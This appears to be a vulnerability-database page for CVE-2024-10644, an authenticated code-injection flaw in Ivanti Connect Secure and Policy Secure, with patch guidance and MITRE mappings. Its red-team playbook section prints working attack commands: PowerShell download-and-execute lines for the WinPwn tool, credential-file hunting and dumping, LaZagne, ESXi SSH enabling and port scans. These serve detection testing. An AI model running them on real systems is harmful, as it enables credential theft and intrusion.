CVE-2024-10644

HIGH Pub 11/02 Upd 26/02

Overview

This vulnerability is a code injection flaw rooted in improper input validation within Ivanti Connect Secure and Ivanti Policy Secure. The affected components fail to adequately sanitize administrator-supplied input, allowing crafted commands to be injected and executed. The flaw specifically impacts versions prior to 22.7R2.4 for Connect Secure and 22.7R1.3 for Policy Secure, compromising the administrative interface's command handling mechanisms.

Vulnerability Description

Code injection in Ivanti Connect Secure before version 22.7R2.4 and Ivanti Policy Secure before version 22.7R1.3 allows a remote authenticated attacker with admin privileges to achieve remote code execution.

Impact

An attacker with valid administrative credentials can execute arbitrary code remotely on the affected systems, resulting in full compromise of the Ivanti Connect Secure or Policy Secure appliance. This requires prior authentication with high privileges and network access to the management interface. Successful exploitation can lead to unauthorized control over the device, data exfiltration, disruption of secure access services, and potential lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:H/UI:N) confirms remote network attack with high privileges and no user interaction is needed.

Solution

Ivanti has released patches addressing this vulnerability in Connect Secure version 22.7R2.4 and Policy Secure version 22.7R1.3. Administrators should apply these updates promptly as detailed in the Ivanti February Security Advisory available at https://forums.ivanti.com/s/article/February-Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-and-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs. No alternative mitigations are specified; updating to the fixed versions is required to remediate the issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Ivanti Connect Secure and Ivanti Policy Secure is characterized by a code injection flaw that allows remote authenticated attackers with administrative privileges to execute arbitrary code on the affected systems. This type of vulnerability typically arises from improper validation of user input, which can lead to the execution of malicious scripts or commands. In this case, the flaw exists in versions prior to 22.7R2.4 for Connect Secure and 22.7R1.3 for Policy Secure. Attackers exploiting this vulnerability can manipulate the system's behavior, potentially leading to unauthorized access to sensitive data or complete system compromise.

Attack vectors for this vulnerability primarily involve authenticated users leveraging their administrative privileges to inject malicious code. Once an attacker gains access to the administrative interface, they can exploit the code injection flaw to execute commands on the server. This could be achieved through various means, such as crafting malicious requests or manipulating existing functionalities within the application. The ability to execute arbitrary code remotely poses a significant threat, as it can allow attackers to install malware, exfiltrate data, or pivot to other systems within the network.

The real-world impact of this vulnerability can be substantial, particularly for organizations that rely on Ivanti's solutions for secure access and policy enforcement. Successful exploitation could lead to severe business risks, including data breaches, loss of customer trust, and potential regulatory penalties. The ability to execute arbitrary code could also enable attackers to disrupt services, leading to downtime and financial losses. Organizations that fail to address this vulnerability may find themselves at a heightened risk of targeted attacks, especially if they are in industries that handle sensitive information.

To detect and mitigate the risk associated with this vulnerability, organizations should implement a multi-faceted approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Additionally, keeping software up to date is crucial; organizations should prioritize applying patches and updates provided by Ivanti to mitigate the risk of exploitation. Monitoring logs for unusual activity, particularly from authenticated users, can also provide early warning signs of attempted exploitation. Furthermore, implementing strict access controls and ensuring that administrative privileges are granted only to necessary personnel can help limit the attack surface.

In conclusion, the code injection vulnerability in Ivanti Connect Secure and Policy Secure represents a significant threat to organizations utilizing these products. The potential for remote code execution by authenticated attackers underscores the importance of maintaining robust security practices, including timely updates, vigilant monitoring, and strict access controls. By adopting a proactive security posture, organizations can better protect themselves against the risks posed by such vulnerabilities and safeguard their critical assets.

Affected Products (17)

Vendor Product Version CPE
ivanti Ivanti Connect Secure All cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:-:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.3:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.4:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r1.5:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r2.1:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r2.2:*:*:*:*:*:*
ivanti Ivanti Connect Secure 22.7 cpe:2.3:a:ivanti:connect_secure:22.7:r2.3:*:*:*:*:*:*
ivanti Ivanti Policy Secure All cpe:2.3:a:ivanti:policy_secure:*:-:*:*:*:*:*:*
ivanti Ivanti Policy Secure 22.7 cpe:2.3:a:ivanti:policy_secure:22.7:-:*:*:*:*:*:*
ivanti Ivanti Policy Secure 22.7 cpe:2.3:a:ivanti:policy_secure:22.7:r1:*:*:*:*:*:*
ivanti Ivanti Policy Secure 22.7 cpe:2.3:a:ivanti:policy_secure:22.7:r1.1:*:*:*:*:*:*
ivanti Ivanti Policy Secure 22.7 cpe:2.3:a:ivanti:policy_secure:22.7:r1.2:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
100% rce
Code Injection
80% code_injection
OS Command Injection
78% command_injection
File Upload Vulnerabilities
47% file_upload
Email Header Injection
43% email_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
46%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
33%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-10644
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/February-Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-and-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs